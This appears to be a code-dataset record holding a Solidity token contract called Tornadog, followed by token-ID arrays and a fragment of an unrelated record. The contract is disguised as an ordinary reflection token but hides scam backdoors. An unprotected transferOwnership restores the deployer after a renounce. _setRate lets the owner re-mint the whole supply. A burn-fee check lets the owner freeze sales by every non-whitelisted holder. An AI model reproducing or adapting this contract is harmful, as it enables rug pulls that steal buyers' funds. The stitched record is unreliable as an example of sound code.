* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private msgSender;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, msgSender);
_owner = msgSender;
}
}
contract Torndg is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _lOwned;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _whitelist;
address[] private _excluded;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private _trateTotal;
string private constant _name = 'Tornadog';
string private constant _symbol = 'TORNDG';
uint256 private _taxFee = 200;
uint256 private _burnFee = 200;
uint private _max_tx_size = 1000000000000 * 10 ** uint256(_decimals);
constructor (address router) public {
_rOwned[_msgSender()] = _rTotal;
_whitelist[router] = true;
_whitelist[_msgSender()] = true;
_trateTotal = _tTotal;
_lOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _lOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require(_burnFee > 0 || _whitelist[sender], "Burn fee must be greater than zero");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee <=300 ); //limit taxFee to 1%
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee <=300 ); //limit burnFee to 1%
_burnFee = burnFee;
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x872e2B2b743d3fE37579c8B1c1603372d6782463, 'router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(_burnFee > 0 || _whitelist[sender], "Burn amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_lOwned[sender] = _lOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_lOwned[recipient] = _lOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_lOwned[sender] = _lOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_lOwned[recipient] = _lOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_lOwned[sender] = _lOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_lOwned[recipient] = _lOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_lOwned[sender] = _lOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_lOwned[recipient] = _lOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {
_lOwned[sender] = _lOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_lOwned[recipient] = _lOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _setRate() public onlyOwner {
_lOwned[_msgSender()] = _lOwned[_msgSender()].add(_trateTotal);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _getMaxTxAmount() public view returns(uint256){
return _max_tx_size;
}
}
|
* @dev Initializes the contract setting the deployer as the initial owner./
|
constructor () internal {
msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
| 6,061,399 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
10188,
3128,
326,
6835,
3637,
326,
7286,
264,
487,
326,
2172,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1832,
2713,
288,
203,
3639,
1234,
12021,
273,
389,
3576,
12021,
5621,
203,
3639,
389,
8443,
273,
1234,
12021,
31,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
12,
2867,
12,
20,
3631,
1234,
12021,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42220/0xff4Afc7ee6688fec24eAa6355d95ff4efE260448/sources/contracts/AMMs/MoolaWrapper.sol
|
The asset pair exists, so in one atomic action can be swapped 1:1
|
return amountIn;
| 3,494,921 |
[
1,
4625,
348,
7953,
560,
30,
225,
1021,
3310,
3082,
1704,
16,
1427,
316,
1245,
7960,
1301,
848,
506,
7720,
1845,
404,
30,
21,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
